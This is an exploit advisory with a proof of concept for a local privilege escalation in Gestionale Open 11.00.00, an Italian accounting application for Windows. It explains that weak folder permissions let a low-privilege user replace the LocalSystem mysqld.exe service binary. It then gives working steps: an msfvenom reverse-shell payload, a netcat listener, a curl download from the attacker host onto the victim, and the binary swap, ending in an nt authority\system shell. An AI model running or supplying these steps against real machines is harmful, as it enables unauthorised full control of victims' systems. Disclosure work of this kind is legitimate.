Gestionale Open 11.00.00 - Local Privilege Escalation

# Exploit Title: Gestionale Open 11.00.00 - Local Privilege Escalation
# Date: 2021-07-19
# Author: Alessandro 'mindsflee' Salzano
# Vendor Homepage: https://www.gestionaleopen.org/
# Software Homepage: https://www.gestionaleopen.org/
# Software Link: https://www.gestionaleopen.org/wp-content/uploads/downloads/ESEGUIBILI_STANDARD/setup_go_1101.exe
# Version: 11.00.00
# Tested on: Microsoft Windows 10 Enterprise x64

With GO - Gestionale Open - it is possible to manage, check and print every aspect of accounting according to the provisions of Italian taxation.

Vendor: Gestionale Open srl.

Affected version: > 11.00.00


# Details
# By default the Authenticated Users group has the modify permission to Gestionale Open folders/files as shown below.
# A low privilege account is able to rename the mysqld.exe file located in bin folder and replace
# with a malicious file that would connect back to an attacking computer giving system level privileges
# (nt authority\system) due to the service running as Local System.
# While a low privilege user is unable to restart the service through the application, a restart of the
# computer triggers the execution of the malicious file.

The application also have unquoted service path issues.

(1) Impacted services.
Any low privileged user can elevate their privileges abusing MariaDB service:

C:\Gestionale_Open\MySQL57\bin\mysqld.exe


	Details:



SERVICE_NAME: DB_GO
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Gestionale_Open\MySQL57\bin\mysqld.exe --defaults-file=C:\Gestionale_Open\MySQL57\my.ini DB_GO
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : DB_GO
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem



(2) Folder permissions.
Insecure folders permissions issue:


C:\Gestionale_Open Everyone:(I)(OI)(CI)(F)
                   NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)



                                # Proof of Concept

1. Generate malicious .exe on attacking machine
    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.102 LPORT=4242 -f exe > /var/www/html/mysqld_evil.exe

2. Setup listener and ensure apache is running on attacking machine
    nc -lvp 4242
    service apache2 start

3. Download malicious .exe on victim machine
    type on cmd: curl http://192.168.1.102/mysqld_evil.exe -o "C:\Gestionale_Open\MySQL57\bin\mysqld_evil.exe"

4. Overwrite file and copy malicious .exe.
    Renename C:\Gestionale_Open\MySQL57\bin\mysqld.exe > mysqld.bak
    Rename downloaded 'mysqld_evil.exe' file in mysqld.exe

5. Restart victim machine

6. Reverse Shell on attacking machine opens
    C:\Windows\system32>whoami
    whoami
    nt authority\system